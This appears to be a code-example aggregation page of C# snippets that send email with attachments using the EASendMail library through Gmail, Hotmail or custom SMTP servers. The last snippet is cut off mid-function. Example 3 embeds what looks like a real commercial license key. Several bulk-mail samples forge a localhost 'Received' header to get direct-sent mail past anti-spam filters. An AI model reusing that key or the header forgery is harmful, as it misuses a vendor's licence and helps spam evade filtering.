コード例 #1
0
        private void sendButton_Click(object sender, RoutedEventArgs e)
        {
            if (String.IsNullOrEmpty(fromTB.Text) || String.IsNullOrEmpty(toTB.Text) || String.IsNullOrEmpty(themeTB.Text) || String.IsNullOrEmpty(textTB.Text))
            {
                MessageBox.Show("Enter all fields.");
                return;
            }
            SmtpMail message = new SmtpMail("TryIt")
            {
                From     = fromTB.Text,
                To       = toTB.Text,
                Subject  = themeTB.Text,
                TextBody = textTB.Text,
                Date     = DateTime.Now,
                Priority = MailPriority.High,
            };

            foreach (string item in attachList.Items)
            {
                message.AddAttachment(item);
            }
            smtpClient = new SmtpClient();
            smtpClient.Connect(smtpServer);

            try
            {
                smtpClient.SendMail(message);
            }catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
            }
        }
コード例 #2
0
        private void button1_Click(object sender, EventArgs e)
        {
            SmtpMail thisMail = new SmtpMail("TryIt");

            EASendMail.SmtpClient thisServer = new EASendMail.SmtpClient();
            foreach (string attachment in attachments)
            {
                thisMail.AddAttachment(attachment);
            }
            thisMail.From     = tbFROM.Text;
            thisMail.To       = tbTO.Text;
            thisMail.Subject  = tbSUBJECT.Text;
            thisMail.TextBody = tbMESSAGE.Text;
            SmtpServer orThisServer = new SmtpServer("smtp.gmail.com");

            orThisServer.Port        = 465;
            orThisServer.ConnectType = SmtpConnectType.ConnectSSLAuto;
            orThisServer.User        = tbFROM.Text;
            orThisServer.Password    = tbPASSWORD.Text;
            try
            {
                thisServer.SendMail(orThisServer, thisMail);
                btnSEND.Text = "DONE";
            }
            catch (Exception ex)
            {
                tbMESSAGE.Text = ex.Message;
                btnSEND.Text   = "FAILED";
            }
        }
コード例 #3
0
        public void SendMail(string from, string to, string smtpServer, int port, string user, string password, string subject, string body, string[] attachments)
        {
            SmtpMail   oMail = new SmtpMail("ES-D1508812687-00707-17A9UECEB7DV192D-8DB3B1U3TUA8UEFU");
            SmtpClient oSmtp = new SmtpClient();

            // Set sender email address, please change it to yours
            oMail.From = from;

            // Set recipient email address, please change it to yours
            oMail.To = to;

            // Set email subject
            oMail.Subject = subject;

            // Set email body
            oMail.TextBody = body;

            //AddAttachment
            foreach (string file in attachments)
            {
                try
                {
                    oMail.AddAttachment(file);
                }
                catch (Exception ex)
                {
                    // process exception here
                    continue;
                }
            }

            // Your SMTP server address
            SmtpServer oServer = new SmtpServer(smtpServer);

            // User and password for ESMTP authentication, if your server doesn't require
            // User authentication, please remove the following codes.
            if (user != null)
            {
                oServer.User     = user;
                oServer.Password = password;
            }

            // Set 25 or 587 port.
            oServer.Port = port;

            // detect TLS connection automatically
            oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;
            try
            {
                Console.WriteLine("start to send email ...");
                oSmtp.SendMail(oServer, oMail);
                Console.WriteLine("email was sent successfully!");
            }
            catch (Exception ep)
            {
                Console.WriteLine("failed to send email with the following error:");
                Console.WriteLine(ep.Message);
            }
        }
コード例 #4
0
        /// <summary>
        /// Envía un correo personalizado a nombre de CMH Notificaciones con archivo adjunto
        /// Nota: No se pueden enviar correos mediante la red pública del Duoc
        /// </summary>
        /// <param name="receptor">Correo del receptor</param>
        /// <param name="titulo">Título del correo</param>
        /// <param name="cuerpo">Mensaje del correo</param>
        /// <param name="archivo">Ruta archivo adjunto</param>
        /// <returns></returns>
        public static Boolean enviarCorreo(string receptor, string titulo, string cuerpo, string archivo)
        {
            try
            {
                if (Util.isObjetoNulo(receptor) || receptor == string.Empty)
                {
                    throw new Exception("Receptor vacío");
                }
                else if (Util.isObjetoNulo(titulo) || titulo == string.Empty)
                {
                    throw new Exception("Título vacío");
                }
                else if (Util.isObjetoNulo(cuerpo) || cuerpo == string.Empty)
                {
                    throw new Exception("Cuerpo vacío");
                }
                else if (!Util.isEmailValido(receptor))
                {
                    throw new Exception("Correo inválido");
                }
                else if (!File.Exists(archivo))
                {
                    throw new Exception("Archivo no existe");
                }
                else
                {
                    string remitente, usuario, pass;
                    remitente = "CMH Notificaciones";
                    usuario   = "*****@*****.**";
                    pass      = "******";

                    // Configuración campos
                    SmtpMail   oMail = new SmtpMail("TryIt");
                    SmtpClient oSmtp = new SmtpClient();
                    oMail.From     = new MailAddress(remitente, usuario);
                    oMail.To       = receptor;
                    oMail.Subject  = titulo;
                    oMail.TextBody = cuerpo;
                    oMail.AddAttachment(archivo);

                    // Configuración Gmail
                    SmtpServer oServer = new SmtpServer("smtp.gmail.com");
                    oServer.Port        = 465;
                    oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;
                    oServer.User        = usuario;
                    oServer.Password    = pass;

                    oSmtp.SendMail(oServer, oMail);
                    return(true);
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
                return(false);
            }
        }
コード例 #5
0
        public static ResCommon SendMailCustom(ReqEmail reqEmail, string Password = null)
        {
            ResCommon resCommon = new ResCommon();

            try
            {
                EASendMail.SmtpMail   oMail = new SmtpMail("TryIt");
                EASendMail.SmtpClient oSmtp = new EASendMail.SmtpClient();

                // Set sender email address, please change it to yours
                oMail.From = StaticConst.EMAILID;

                // Set recipient email address, please change it to yours
                oMail.To   = reqEmail.EmailId;
                oMail.From = new EASendMail.MailAddress(reqEmail.UserName, StaticConst.EMAILID);

                // Set email subject
                oMail.Subject = reqEmail.EmailSubject;

                string       path      = AppDomain.CurrentDomain.BaseDirectory + "\\Optimize\\EmailHtml\\";
                StreamReader strReader = new StreamReader(path + reqEmail.HtmlType + ".html");
                string       objReader = strReader.ReadToEnd();
                objReader = objReader.Replace("{{Username}}", reqEmail.UserName);
                objReader = objReader.Replace("{{EmailBody}}", reqEmail.EmailBody);

                if (reqEmail.HtmlType.Contains("Password"))
                {
                    objReader.Replace("{{ Password}}", Password);
                }
                oMail.HtmlBody = objReader;
                if (!String.IsNullOrEmpty(reqEmail.EmailAttachmentUrl))
                {
                    oMail.AddAttachment(reqEmail.EmailAttachmentUrl);
                }
                // Your SMTP server address
                SmtpServer oServer = new SmtpServer(StaticConst.SERVERNAME);

                // User and password for ESMTP authentication, if your server doesn't require
                // User authentication, please remove the following codes.

                oServer.User = StaticConst.EMAILID;

                oServer.Password = StaticConst.EMAILPASSWORD;
                oSmtp.SendMail(oServer, oMail);
                resCommon.ResponseCode    = 0;
                resCommon.ResponseMessage = "Email Sent Successfully";

                return(resCommon);
            }
            catch (Exception ex)
            {
                resCommon.ResponseCode    = 1;
                resCommon.ResponseMessage = "Error while sending Email";
                return(resCommon);
            }
        }
コード例 #6
0
ファイル: Form1.cs プロジェクト: brownjacob998/PreviousWorks
        // You can even use different server and add different attachment based on recipient address.
        private SmtpMail _createMail(SmtpServer server, string recipientName, string recipientAddress)
        {
            // For evaluation usage, please use "TryIt" as the license code, otherwise the
            // "invalid license code" exception will be thrown. However, the object will expire in 1-2 months, then
            // "trial version expired" exception will be thrown.

            // For licensed uasage, please use your license code instead of "TryIt", then the object
            // will never expire
            SmtpMail mail = new SmtpMail("TryIt");

            mail.From = TextBoxFrom.Text;
            mail.To.Add(new MailAddress(recipientName, recipientAddress));

            mail.Subject = TextBoxSubject.Text;
            mail.Charset = _charsets[ComboBoxEncoding.SelectedIndex, 1];

            //replace keywords in body text.
            string body = TextBoxBody.Text;

            body = body.Replace("[$subject]", mail.Subject);
            body = body.Replace("[$from]", mail.From.ToString());
            body = body.Replace("[$name]", recipientName);
            body = body.Replace("[$address]", recipientAddress);

            mail.TextBody = body;

            int count = _attachments.Count;

            for (int i = 0; i < count; i++)
            {
                mail.AddAttachment(_attachments[i] as string);
            }

            if (server == null || string.IsNullOrEmpty(server.Server))
            {
                // To send email to the recipient directly(simulating the smtp server),
                // please add a Received header,
                // otherwise, many anti-spam filter will make it as junk email.
                // we don't suggest that you send email directly without SMTP server.
                // Most email providers will reject your message or detet it as junk email.
                System.Globalization.CultureInfo cur = new System.Globalization.CultureInfo("en-US");
                string gmtDateTime = DateTime.Now.ToString("ddd, dd MMM yyyy HH:mm:ss zzz", cur);
                gmtDateTime.Remove(gmtDateTime.Length - 3, 1);
                string receivedHeader = string.Format("from {0} ([127.0.0.1]) by {0} ([127.0.0.1]) with SMTPSVC;\r\n\t {1}",
                                                      server.HeloDomain,
                                                      gmtDateTime);

                mail.Headers.Insert(0, new HeaderItem("Received", receivedHeader));
            }

            return(mail);
        }
コード例 #7
0
        private SmtpMail _createMail()
        {
            //For evaluation usage, please use "TryIt" as the license code, otherwise the
            //"invalid license code" exception will be thrown. However, the object will expire in 1-2 months, then
            //"trial version expired" exception will be thrown.

            //For licensed uasage, please use your license code instead of "TryIt", then the object
            //will never expire
            SmtpMail mail = new SmtpMail("TryIt");


            mail.From = TextBoxFrom.Text;
            // if from address is different with authenticated user, change from to authenticated user
            // and change from address to replyto.
            if (string.Compare(mail.From.Address, _oauthWrapper.OauthProvider.UserEmail, true) != 0)
            {
                mail.ReplyTo = mail.From;
                mail.From    = _oauthWrapper.OauthProvider.UserEmail;
            }

            mail.To = TextBoxTo.Text;

            mail.Cc      = TextBoxCc.Text;
            mail.Subject = TextBoxSubject.Text;
            mail.Charset = _charsets[ComboBoxEncoding.SelectedIndex, 1];

            string htmlBody = _buildHtmlBody();

            htmlBody = htmlBody.Replace("[$from]", _encodeAddressToHtml(mail.From.ToString()));
            htmlBody = htmlBody.Replace("[$to]", _encodeAddressToHtml(mail.To.ToString()));
            htmlBody = htmlBody.Replace("[$subject]", _encodeAddressToHtml(mail.Subject));

            mail.ImportHtml(htmlBody,
                            Application.ExecutablePath,
                            ImportHtmlBodyOptions.ImportLocalPictures);

            int count = _attachments.Count;

            for (int i = 0; i < count; i++)
            {
                //Add attachment
                mail.AddAttachment(_attachments[i] as string);
            }

            //Add digital signature and encrypt email on demanded
            _signAndEncryptEmail(mail);

            return(mail);
        }
コード例 #8
0
        private bool SendMail(string mailto, string subject, string text, string attachmentAddress)
        {
            SmtpMail   oMail = new SmtpMail("TryIt");
            SmtpClient oSmtp = new SmtpClient();

            // Your gmail email address
            oMail.From = _emailAddressFrom;

            // Set recipient email address
            oMail.To = mailto;

            // Set email subject
            oMail.Subject = subject;

            // Set email body
            oMail.TextBody = text;

            if (attachmentAddress != null)
            {
                oMail.AddAttachment(attachmentAddress);
            }

            // Gmail SMTP server address
            SmtpServer oServer = new SmtpServer("smtp.gmail.com");

            // Set 465 port
            oServer.Port = 465;

            // detect SSL/TLS automatically
            oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;

            // Gmail user authentication
            // For example: your email is "*****@*****.**", then the user should be the same
            oServer.User     = _emailAddressFrom;
            oServer.Password = _emailPasswordFrom;

            try
            {
                oSmtp.SendMail(oServer, oMail);
                return(true);
            }
            catch (Exception excp)
            {
                //MessageBox.Show(excp.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return(false);
            }
        }
コード例 #9
0
ファイル: MainWindow.xaml.cs プロジェクト: ssashkaa01/ef
        private void BtnSend_Click(object sender, RoutedEventArgs e)
        {
            SmtpServer server = new SmtpServer(textServer.Text)
            {
                Port        = Convert.ToInt32(textPort.Text),
                ConnectType = SmtpConnectType.ConnectSSLAuto,
                User        = textEmail.Text,
                Password    = textPassword.Password
            };

            SmtpMail message = new SmtpMail("TryIt") // trial licence
            {
                From     = textEmail.Text,
                To       = textTo.Text,
                Subject  = textTheme.Text,
                TextBody = textMessage.Text,
                Priority = EASendMail.MailPriority.High
            };

            if (listBoxFiles.Items.Count > 0)
            {
                foreach (string file in listBoxFiles.Items)
                {
                    message.AddAttachment(file);
                }
            }

            SmtpClient client = new SmtpClient();

            //client.Connect(server);
            try
            {
                //Console.WriteLine("Try to send mail...");

                client.SendMail(server, message);

                System.Windows.MessageBox.Show("Message is sent!");

                //Console.WriteLine("Message is sent");
            }
            catch (Exception ex)
            {
                System.Windows.MessageBox.Show(ex.Message);
                //Console.WriteLine(ex.Message);
            }
        }
コード例 #10
0
ファイル: HotmailEmail.cs プロジェクト: samuelbritt/6440-hit
        public void Sender(String msg, String subject, String attachmentFileName, String email)
        {
            SmtpMail oMail = new SmtpMail("TryIt");
            SmtpClient oSmtp = new SmtpClient();
            Debug.WriteLine(msg);
            //
            // Your Hotmail email address
            //oMail.From = "*****@*****.**";
            oMail.From = "*****@*****.**";
            // Set recipient email address
            oMail.To = email;

            // Set email subject
            oMail.Subject = subject;

            // Set email body
            oMail.TextBody = msg;

            if (!string.IsNullOrEmpty(attachmentFileName))
                oMail.AddAttachment(attachmentFileName);

            // Hotmail SMTP server address
            SmtpServer oServer = new SmtpServer("smtp.live.com");
            // Hotmail user authentication should use your
            // email address as the user name.
            oServer.User = "******";
            oServer.Password = "******";

            // detect SSL/TLS connection automatically
            oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;
            //oServer.ConnectType = SmtpConnectType.ConnectNormal;

            try
            {
                Debug.WriteLine("start to send email over SSL...");
                oSmtp.SendMail(oServer, oMail);
                Debug.WriteLine("email was sent successfully!");
            }
            catch (Exception ep)
            {
                Debug.WriteLine("failed to send email with the following error:");
                Debug.WriteLine(ep.Message);
            }
            Debug.WriteLine(msg);
        }
コード例 #11
0
        public void SendEmail(SendEmailInfo emailInfo)
        {
            SmtpClient oSmtp = new SmtpClient();

            SmtpServer oServer = new SmtpServer(SendMailServerAddress);

            oServer.User        = this.User;
            oServer.Password    = this.Password;
            oServer.Port        = 465;
            oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;

            if (emailInfo.IsRespectivelySend)
            {
                foreach (var attach in emailInfo.AttachmentInfos)
                {
                    SmtpMail oMail = new SmtpMail(LicenseCode);
                    oMail.From = emailInfo.From;
                    oMail.To   = attach.ReceiverEmail;
                    String subject = Path.GetFileNameWithoutExtension(attach.Name);
                    oMail.Subject  = subject;
                    oMail.TextBody = subject;
                    oMail.AddAttachment(attach.SavePath);
                    oSmtp.SendMail(oServer, oMail);
                }
            }
            else
            {
                SmtpMail oMail = new SmtpMail(LicenseCode);
                oMail.From     = emailInfo.From;
                oMail.To       = emailInfo.To;
                oMail.Subject  = emailInfo.Title;
                oMail.TextBody = emailInfo.TextBody;
                if (emailInfo.AttachmentInfos.Count > 0)
                {
                    foreach (var info in emailInfo.AttachmentInfos)
                    {
                        oMail.AddAttachment(info.SavePath);
                    }
                }
                oSmtp.SendMail(oServer, oMail);
            }
        }
コード例 #12
0
        public static void SendMailUsingGmailImage(string EmailAddress, string AccessToken, string ToMailAddress, string EmailSubject, string MailBody, List <string> fileName, string Path)
        {
            // Gmail SMTP server address
            SmtpServer oServer = new SmtpServer("smtp.gmail.com");

            // enable SSL connection
            oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;
            // Using 587 port, you can also use 465 port
            oServer.Port = 587;

            // use Gmail SMTP OAUTH 2.0 authentication
            oServer.AuthType = SmtpAuthType.XOAUTH2;
            // set user authentication
            oServer.User = EmailAddress;    // oAccountIntegration.EmailAddress;
            // use access token as password
            oServer.Password = AccessToken; // oAccountIntegration.AccessToken;

            SmtpMail oMail = new SmtpMail("TryIt");

            // Your Gmail email address
            oMail.From = EmailAddress;// oAccountIntegration.EmailAddress;

            // Please change recipient address to yours for test
            oMail.To = ToMailAddress;

            oMail.Subject  = EmailSubject;
            oMail.HtmlBody = MailBody;

            // Import html body and also import linked image as embedded images.
            oMail.ImportHtml(MailBody,
                             Path, //test.gif is in c:\\my picture
                             ImportHtmlBodyOptions.ImportLocalPictures | ImportHtmlBodyOptions.ImportCss);


            foreach (var item in fileName)
            {
                oMail.AddAttachment(item);
            }

            EASendMail.SmtpClient oSmtp = new EASendMail.SmtpClient();
            oSmtp.SendMail(oServer, oMail);
        }
コード例 #13
0
        public eMail(string eMailMittente, string eMailDestinatario, string eMailOggetto, string eMailCorpo, string pathAllegato)
        {
            _oMail.From     = eMailMittente;
            _oMail.To       = eMailDestinatario;
            _oMail.Subject  = eMailOggetto;
            _oMail.TextBody = eMailCorpo;

            try
            {
                _oMail.AddAttachment(pathAllegato);
            }catch (Exception ex)
            {
                MessageBox.Show("Selezionare l'Allegato", "Errore di Invio", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }

            _oServer.Port        = 587;
            _oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;
            _oServer.User        = "******";
            _oServer.Password    = "******";
        }
コード例 #14
0
        public void sendEmail()
        {
            if (emailStatus)
            {
                try
                {
                    SmtpMail oMail = new SmtpMail("TryIt");

                    oMail.From = "*****@*****.**";
                    oMail.To   = "*****@*****.**";

                    oMail.Subject  = "Difetto";
                    oMail.TextBody = email;
                    if (imagePath != null)
                    {
                        oMail.AddAttachment("probe.png", File.ReadAllBytes(imagePath));
                    }

                    SmtpServer oServer = new SmtpServer("smtp.gmail.com");
                    oServer.User     = "******";
                    oServer.Password = "******";

                    oServer.Port        = 587;
                    oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;

                    Console.WriteLine("start to send email over SSL ...");

                    SmtpClient oSmtp = new SmtpClient();
                    oSmtp.SendMail(oServer, oMail);

                    Console.WriteLine("email was sent successfully!");
                }
                catch (Exception ep)
                {
                    Console.WriteLine("failed to send email with the following error:");
                    Console.WriteLine(ep.Message);
                }
            }
        }
コード例 #15
0
        private void Send_Click(object sender, RoutedEventArgs e)
        {
            if (!String.IsNullOrWhiteSpace(tbTo.Text))
            {
                SmtpServer server = new SmtpServer("smtp.gmail.com")
                {
                    Port        = 465,
                    ConnectType = SmtpConnectType.ConnectSSLAuto,
                    User        = this.client.CurrentMailServer.User,
                    Password    = this.client.CurrentMailServer.Password
                };

                SmtpMail message = new SmtpMail("TryIt")
                {
                    From     = this.client.CurrentMailServer.User,
                    To       = tbTo.Text,
                    Subject  = tbSubject.Text,
                    TextBody = tbBody.Text,
                    Priority = EASendMail.MailPriority.High
                };
                foreach (string item in lbAttach.Items)
                {
                    message.AddAttachment(item);
                }

                SmtpClient smtpclient = new SmtpClient();
                smtpclient.Connect(server);

                try
                {
                    smtpclient.SendMail(message);
                }
                catch (Exception ex)
                {
                    MessageBox.Show(ex.Message);
                }
            }
            Close();
        }
コード例 #16
0
        async static private Task SendEmailMessage(EmailItem item, Action successCallback, Action <Exception> failureCallback)
        {
            if (null != item)
            {
                SmtpMail oMail = new SmtpMail("TryIt");
                oMail.From     = new MailAddress(item.FromEmailId);
                oMail.To       = new AddressCollection(item.ToEmailId);
                oMail.Sender   = new MailAddress(item.DisplayName);
                oMail.Subject  = item.Subject;
                oMail.TextBody = item.Body;
                oMail.ReplyTo  = new MailAddress("Do not reply");
                oMail.Priority = MailPriority.High;

                if (item.AttachmentName.Length > 0)
                {
                    byte[] content = null;
                    oMail.AddAttachment(item.AttachmentName, content);
                }

                SmtpServer oServer = new SmtpServer(SMTPServerName);
                oServer.User        = FromEmailAddress;
                oServer.Password    = FromEmailPassword;
                oServer.ConnectType = (SmtpConnectType)SMTPEncryptionMethod;
                oServer.Port        = SMTPPort;

                try
                {
                    SmtpClient oSmtp = new SmtpClient();
                    await oSmtp.SendMailAsync(oServer, oMail);
                }
                catch (Exception ex)
                {
                    Telemetry.TrackException(ex);
                    failureCallback(ex);
                }
            }

            successCallback();
        }
コード例 #17
0
ファイル: Form1.cs プロジェクト: DirkViljoen/eSalon
        private void button1_Click(object sender, System.EventArgs e)
        {
            if( textFrom.Text.Length == 0 )
            {
                MessageBox.Show( "Please input From!, the format can be [email protected] or Tester<*****@*****.**>" );
                return;
            }

            if( textTo.Text.Length == 0 &&
                textCc.Text.Length == 0 )
            {
                MessageBox.Show( "Please input To or Cc!, the format can be [email protected] or Tester<*****@*****.**>, please use , or ; to separate multiple recipients" );
                return;
            }

            btnSend.Enabled = false;
            btnCancel.Enabled = true;
            m_bcancel = false;

            //For evaluation usage, please use "TryIt" as the license code, otherwise the
            //"invalid license code" exception will be thrown. However, the object will expire in 1-2 months, then
            //"trial version expired" exception will be thrown.

            //For licensed uasage, please use your license code instead of "TryIt", then the object
            //will never expire
            SmtpMail oMail = new SmtpMail("TryIt");
            SmtpClient oSmtp = new SmtpClient();
            //To generate a log file for SMTP transaction, please use
            //oSmtp.LogFileName = "c:\\smtp.log";
            string err = "";

            try
            {
                oMail.Reset();
                //If you want to specify a reply address
                //oMail.Headers.ReplaceHeader( "Reply-To: <reply@mydomain>" );

                //From is a MailAddress object, in c#, it supports implicit converting from string.
                //The syntax is like this: "*****@*****.**" or "Tester<*****@*****.**>"

                //The example code without implicit converting
                // oMail.From = new MailAddress( "Tester", "*****@*****.**" )
                // oMail.From = new MailAddress( "Tester<*****@*****.**>" )
                // oMail.From = new MailAddress( "*****@*****.**" )
                oMail.From = textFrom.Text;

                //To, Cc and Bcc is a AddressCollection object, in C#, it supports implicit converting from string.
                // multiple address are separated with (,;)
                //The syntax is like this: "[email protected], [email protected]"

                //The example code without implicit converting
                // oMail.To = new AddressCollection( "[email protected], [email protected]" );
                // oMail.To = new AddressCollection( "Tester1<*****@*****.**>, Tester2<*****@*****.**>");

                oMail.To = textTo.Text;
                //You can add more recipient by Add method
                // oMail.To.Add( new MailAddress( "tester", "*****@*****.**"));

                oMail.Cc = textCc.Text;
                oMail.Subject = textSubject.Text;
                oMail.Charset = m_arCharset[lstCharset.SelectedIndex, 1];

                //Digital signature and encryption
                if(!_SignEncrypt( ref oMail ))
                {
                    btnSend.Enabled = true;
                    btnCancel.Enabled = false;
                    return;
                }

                string body = textBody.Text;
                body = body.Replace( "[$from]", oMail.From.ToString());
                body = body.Replace( "[$to]", oMail.To.ToString());
                body = body.Replace( "[$subject]", oMail.Subject );

                if( chkHtml.Checked )
                    oMail.HtmlBody = body;
                else
                    oMail.TextBody = body;

                int count = m_arAttachment.Count;
                for( int i = 0; i < count; i++ )
                {
                    //Add attachment
                    oMail.AddAttachment( m_arAttachment[i] as string );
                }

                SmtpServer oServer = new SmtpServer( textServer.Text );
                oServer.Protocol = (ServerProtocol)lstProtocol.SelectedIndex;

                if( oServer.Server.Length != 0 )
                {
                    if( chkAuth.Checked )
                    {
                        oServer.User = textUser.Text;
                        oServer.Password = textPassword.Text;
                    }

                    if( chkSSL.Checked )
                        oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;

                }
                else
                {
                    //To send email to the recipient directly(simulating the smtp server),
                    //please add a Received header,
                    //otherwise, many anti-spam filter will make it as junk email.
                    System.Globalization.CultureInfo cur = new System.Globalization.CultureInfo("en-US");
                    string gmtdate = System.DateTime.Now.ToString("ddd, dd MMM yyyy HH:mm:ss zzz", cur);
                    gmtdate.Remove( gmtdate.Length - 3, 1 );
                    string recvheader = String.Format( "from {0} ([127.0.0.1]) by {0} ([127.0.0.1]) with SMTPSVC;\r\n\t {1}",
                        oServer.HeloDomain,
                        gmtdate );

                    oMail.Headers.Insert( 0, new HeaderItem( "Received", recvheader ));
                }

                //Catching the following events is not necessary,
                //just make the application more user friendly.
                //If you use the object in asp.net/windows service or non-gui application,
                //You need not to catch the following events.
                //To learn more detail, please refer to the code in EASendMail EventHandler region
                oSmtp.OnIdle += new SmtpClient.OnIdleEventHandler( OnIdle );
                oSmtp.OnAuthorized += new SmtpClient.OnAuthorizedEventHandler( OnAuthorized );
                oSmtp.OnConnected += new SmtpClient.OnConnectedEventHandler( OnConnected );
                oSmtp.OnSecuring += new SmtpClient.OnSecuringEventHandler( OnSecuring );
                oSmtp.OnSendingDataStream += new SmtpClient.OnSendingDataStreamEventHandler( OnSendingDataStream );

                if( oServer.Server.Length == 0 && oMail.Recipients.Count > 1 )
                {
                    //To send email without specified smtp server, we have to send the emails one by one
                    // to multiple recipients. That is because every recipient has different smtp server.
                    _DirectSend( ref oMail, ref oSmtp );
                }
                else
                {
                    sbStatus.Text = "Connecting ... ";
                    pgSending.Value = 0;

                    oSmtp.SendMail( oServer, oMail  );

                    MessageBox.Show( String.Format( "The message was sent to {0} successfully!",
                        oSmtp.CurrentSmtpServer.Server ));

                    sbStatus.Text = "Completed";
                }
                //If you want to reuse the mail object, please reset the Date and Message-ID, otherwise
                //the Date and Message-ID will not change.
                //oMail.Date = System.DateTime.Now;
                //oMail.ResetMessageID();
                //oMail.To = "*****@*****.**";
                //oSmtp.SendMail( oServer, oMail );
            }
            catch( SmtpTerminatedException exp )
            {
                err = exp.Message;
            }
            catch( SmtpServerException exp )
            {
                err = String.Format( "Exception: Server Respond: {0}", exp.ErrorMessage );
            }
            catch( System.Net.Sockets.SocketException exp )
            {
                err = String.Format( "Exception: Networking Error: {0} {1}", exp.ErrorCode, exp.Message );
            }
            catch( System.ComponentModel.Win32Exception exp )
            {
                err = String.Format( "Exception: System Error: {0} {1}", exp.ErrorCode, exp.Message );
            }
            catch( System.Exception exp )
            {
                err = String.Format( "Exception: Common: {0}", exp.Message );
            }

            if( err.Length > 0  )
            {
                MessageBox.Show( err );
                sbStatus.Text = err;
            }
            //to get more debug information, please use
            //MessageBox.Show( oSmtp.SmtpConversation );

            btnSend.Enabled = true;
            btnCancel.Enabled = false;
        }
コード例 #18
0
ファイル: Form1.cs プロジェクト: DirkViljoen/eSalon
        private void btnSimple_Click(object sender, System.EventArgs e)
        {
            if( textFrom.Text.Length == 0 )
            {
                MessageBox.Show( "Please input From, the format can be [email protected] or Tester<*****@*****.**>" );
                return;
            }

            int to_count = lstTo.Items.Count;
            if( to_count == 0 )
            {
                MessageBox.Show( "please add a recipient at least!" );
                return;
            }

            MessageBox.Show(
                "Simple Send will send email with single thread, the code is vey simple.\r\nIf you don't want the extreme performance, the code is recommended to beginer!" );

            btnSend.Enabled = false;
            btnSimple.Enabled = false;
            btnAdd.Enabled = false;
            btnClear.Enabled = false;
            btnAddTo.Enabled = false;
            btnClearTo.Enabled = false;
            chkTestRecipients.Enabled =false;

            btnCancel.Enabled = true;
            m_bcancel = false;

            int sent = 0;
            for( sent = 0; sent < to_count; sent++ )
            {
                lstTo.Items[sent].SubItems[2].Text = "Ready";
            }

            m_ntotal = to_count;
            m_nsent = 0;
            m_nsuccess = 0;
            m_nfailure = 0;
            status.Text = String.Format( "Total {0}, Finished {1}, Succeeded {2}, Failed {3}",
                m_ntotal, m_nsent, m_nsuccess, m_nfailure );

            sent = 0;
            while( sent < to_count && !m_bcancel)
            {
                Application.DoEvents();
                int index = sent;
                sent++;
                //For evaluation usage, please use "TryIt" as the license code, otherwise the
                //"invalid license code" exception will be thrown. However, the object will expire in 1-2 months, then
                //"trial version expired" exception will be thrown.

                //For licensed uasage, please use your license code instead of "TryIt", then the object
                //will never expire
                SmtpMail oMail = new SmtpMail("TryIt");
                SmtpClient oSmtp = new SmtpClient();
                oSmtp.Tag = index;
                //To generate a log file for SMTP transaction, please use
                //oSmtp.LogFileName = "c:\\smtp.log";

                string err = "";
                try
                {
                    oMail.Reset();
                    //If you want to specify a reply address
                    //oMail.Headers.ReplaceHeader( "Reply-To: <reply@mydomain>" );

                    //From is a MailAddress object, in c#, it supports implicit converting from string.
                    //The syntax is like this: "*****@*****.**" or "Tester<*****@*****.**>"

                    //The example code without implicit converting
                    // oMail.From = new MailAddress( "Tester", "*****@*****.**" )
                    // oMail.From = new MailAddress( "Tester<*****@*****.**>" )
                    // oMail.From = new MailAddress( "*****@*****.**" )
                    oMail.From = textFrom.Text;

                    //To, Cc and Bcc is a AddressCollection object, in C#, it supports implicit converting from string.
                    // multiple address are separated with (,;)
                    //The syntax is like this: "[email protected], [email protected]"

                    //The example code without implicit converting
                    // oMail.To = new AddressCollection( "[email protected], [email protected]" );
                    // oMail.To = new AddressCollection( "Tester1<*****@*****.**>, Tester2<*****@*****.**>");

                    string name, address;
                    ListViewItem item = lstTo.Items[index];
                    name = item.Text;
                    address = item.SubItems[1].Text;

                    oMail.To.Add( new MailAddress( name, address ));

                    oMail.Subject = textSubject.Text;
                    oMail.Charset = m_arCharset[lstCharset.SelectedIndex,1];

                    //replace keywords in body text.
                    string body = textBody.Text;
                    body = body.Replace( "[$subject]", oMail.Subject );
                    body = body.Replace( "[$from]", oMail.From.ToString());
                    body = body.Replace( "[$name]", name );
                    body = body.Replace( "[$address]", address );

                    oMail.TextBody = body;

                    int y = m_arAttachment.Count;
                    for( int x = 0; x < y; x++ )
                    {
                        //add attachment
                        oMail.AddAttachment( m_arAttachment[x] as string );
                    }

                    SmtpServer oServer = new SmtpServer( textServer.Text );
                    oServer.Protocol = (ServerProtocol)lstProtocol.SelectedIndex;
                    if( oServer.Server.Length != 0 )
                    {
                        if( chkAuth.Checked )
                        {
                            oServer.User = textUser.Text;
                            oServer.Password = textPassword.Text;
                        }

                        if( chkSSL.Checked )
                            oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;

                    }
                    else
                    {
                        //To send email to the recipient directly(simulating the smtp server),
                        //please add a Received header,
                        //otherwise, many anti-spam filter will make it as junk email.
                        System.Globalization.CultureInfo cur = new System.Globalization.CultureInfo("en-US");
                        string gmtdate = System.DateTime.Now.ToString("ddd, dd MMM yyyy HH:mm:ss zzz", cur);
                        gmtdate.Remove( gmtdate.Length - 3, 1 );
                        string recvheader = String.Format( "from {0} ([127.0.0.1]) by {0} ([127.0.0.1]) with SMTPSVC;\r\n\t {1}",
                            oServer.HeloDomain,
                            gmtdate );

                        oMail.Headers.Insert( 0, new HeaderItem( "Received", recvheader ));
                    }

                    //Catching the following events is not necessary,
                    //just make the application more user friendly.
                    //If you use the object in asp.net/windows service or non-gui application,
                    //You need not to catch the following events.
                    //To learn more detail, please refer to the code in EASendMail EventHandler region
                    oSmtp.OnIdle += new SmtpClient.OnIdleEventHandler( OnIdle );
                    oSmtp.OnAuthorized += new SmtpClient.OnAuthorizedEventHandler( OnAuthorized );
                    oSmtp.OnConnected += new SmtpClient.OnConnectedEventHandler( OnConnected );
                    oSmtp.OnSecuring += new SmtpClient.OnSecuringEventHandler( OnSecuring );
                    oSmtp.OnSendingDataStream += new SmtpClient.OnSendingDataStreamEventHandler( OnSendingDataStream );

